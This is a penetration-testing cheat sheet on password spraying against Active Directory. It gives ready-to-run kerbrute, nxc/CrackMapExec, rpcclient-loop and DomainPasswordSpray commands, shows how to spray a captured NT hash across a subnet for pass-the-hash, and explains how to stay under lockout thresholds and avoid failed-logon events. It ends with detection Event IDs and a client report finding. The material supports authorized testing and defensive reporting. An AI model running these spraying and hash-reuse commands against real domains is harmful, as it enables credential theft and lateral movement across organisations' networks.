π‘οΈ Methodology Checklist
- Check password policy lockout threshold first
- Spray from Linux:
kerbrute passwordspray -d [DOMAIN] --dc [DC_IP] users.txt [PASS] - Spray with NXC:
nxc smb [DC_IP] -u users.txt -p [PASS] --continue-on-success - Spray from Windows:
DomainPasswordSpray.ps1 -Password [PASS] - Wait full lockout window between spray rounds
- Check which accounts succeeded: note for lateral movement
- Document spray attempts and timing for report
π― Operational Context
Use when: Valid AD user list obtained β spray one password at a time across all accounts at safe intervals to avoid lockouts.
Think Dumber First: nxc smb [DC] -u users.txt -p 'Password123!' --continue-on-success β one command, all users, continues collecting valid creds. Check lockout policy first. Spray rate: 1 password per (lockout_observation_window + 5 minutes).
Skip when: Lockout threshold is 3 attempts β spray risk too high; pivot to targeted attack against specific high-value accounts.
β‘ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
for u in $(cat users.txt);do rpcclient -U "$u%[PASS]" -c "getusername;quit" [DC_IP] | grep Authority; done | Bash loop spray via rpcclient β Authority string = success |
kerbrute passwordspray -d [DOMAIN] --dc [DC_IP] users.txt [PASS] | Kerbrute password spray via Kerberos |
sudo nxc smb [DC_IP] -u users.txt -p [PASS] | grep + | CME domain spray β grep + for valid hits |
sudo nxc smb [DC_IP] -u [USER] -p [PASS] | Validate single credential against DC |
sudo nxc smb --local-auth [SUBNET]/24 -u [USER] -H [NT_HASH] | grep + | Spray local admin hash across subnet (Pass-the-Hash) |
Import-Module .\DomainPasswordSpray.ps1 | Load DomainPasswordSpray on Windows |
Invoke-DomainPasswordSpray -Password [PASS] -OutFile hits.txt -ErrorAction SilentlyContinue | Windows spray β auto-generates user list from domain policy |
π¬ Deep Dive & Workflow
Attack Flow
1. Enumerate password policy β get lockout threshold
2. Build validated user list (kerbrute / nxc --users / enum4linux)
3. Check badpwdcount per user β remove anyone near threshold
4. Spray 1 password per round β wait lockout observation window β repeat
Key rule: Stay at least 2 attempts below the lockout threshold per observation window. If threshold = 5, max 3 attempts per window.
Linux Spraying Methods
rpcclient bash loop β useful when CME/Kerbrute are blocked:
for u in $(cat valid_users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority
doneSuccess: Account Name: jsmith, Authority Name: INLANEFREIGHT
No output = failed login (rpcclient does not print explicit failure).
Kerbrute β fastest, Kerberos-based, no failed logon Event IDs:
kerbrute passwordspray -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 valid_users.txt Welcome1CrackMapExec β most common; + marker indicates valid credentials:
sudo nxc smb 172.16.5.5 -u valid_users.txt -p Welcome1 | grep +
# (Pwn3d!) = local admin on that hostLocal admin hash reuse β spray captured NT hash across entire subnet:
sudo nxc smb --local-auth 172.16.5.0/23 -u administrator -H [NT_HASH] | grep +CRITICAL: --local-auth flag is mandatory. Without it, CME authenticates against the domain and can lock out the domain Administrator account.
Windows Spraying β DomainPasswordSpray
From a domain-joined compromised host:
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_hits.txt -ErrorAction SilentlyContinue- Auto-generates user list from domain (do not supply
-UserListβ it bypasses lockout safety checks) - Excludes disabled accounts and near-lockout accounts automatically
- Type
Yto confirm after reviewing the threshold/target count output
On a non-domain-joined host, supply -UserList manually.
Detection Signatures
| Event ID | Trigger | What Defenders See |
|---|---|---|
| 4625 | Failed NTLM logon | High volume from single source = spray |
| 4771 | Kerberos pre-auth failed | Kerbrute / LDAP spray |
| 4769 | Kerberos TGT requested | Kerbrute user enum (not auth failure) |
Post-Spray Priorities
When a hit lands on a high-privilege host:
- SQL / Exchange servers β privileged domain accounts more likely cached in memory
- Check for credential variations:
$desktop%@admin123β try$server%@admin123 - Check username reuse across domains:
ajonesβajones_adm
π οΈ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| Spray locks out accounts | Wrong lockout observation window | Verify policy: nxc smb [DC] -u [VALID_USER] -p [PASS] --pass-pol; observation window resets after window, not cumulative |
| nxc spray shows all STATUS_LOGON_FAILURE | Password too old or user locked | Verify at least one known-valid combo works; check DC connectivity |
| Valid creds found but canβt login | Account restricted | STATUS_ACCOUNT_RESTRICTION = valid password but restricted logon hours/workstations; document and try other accounts |
| Spray too slow against large user list | nxc single-threaded SMB | Add -t 3 for 3 threads max (careful with lockout); or split user list into chunks |
| STATUS_PASSWORD_MUST_CHANGE | Account valid but expired | Reset via LDAP if GenericWrite rights; or document for client β they must log in and change password |
π Reporting Trigger
Finding Title: Active Directory Password Spray Compromises Multiple Accounts Impact: Low-volume password spray exploiting common corporate passwords compromises multiple domain accounts without triggering lockout thresholds, providing initial AD authentication for further exploitation. Root Cause: Users selecting predictable passwords meeting minimum complexity (Password123!, Welcome2024). No detection of distributed failed authentication across many accounts. Recommendation: Mandate passphrase-based passwords (4+ words, 20+ chars). Deploy Azure AD Identity Protection or Defender for Identity smart lockout. Alert on failed authentication patterns across many accounts from single source. Implement MFA for all domain accounts.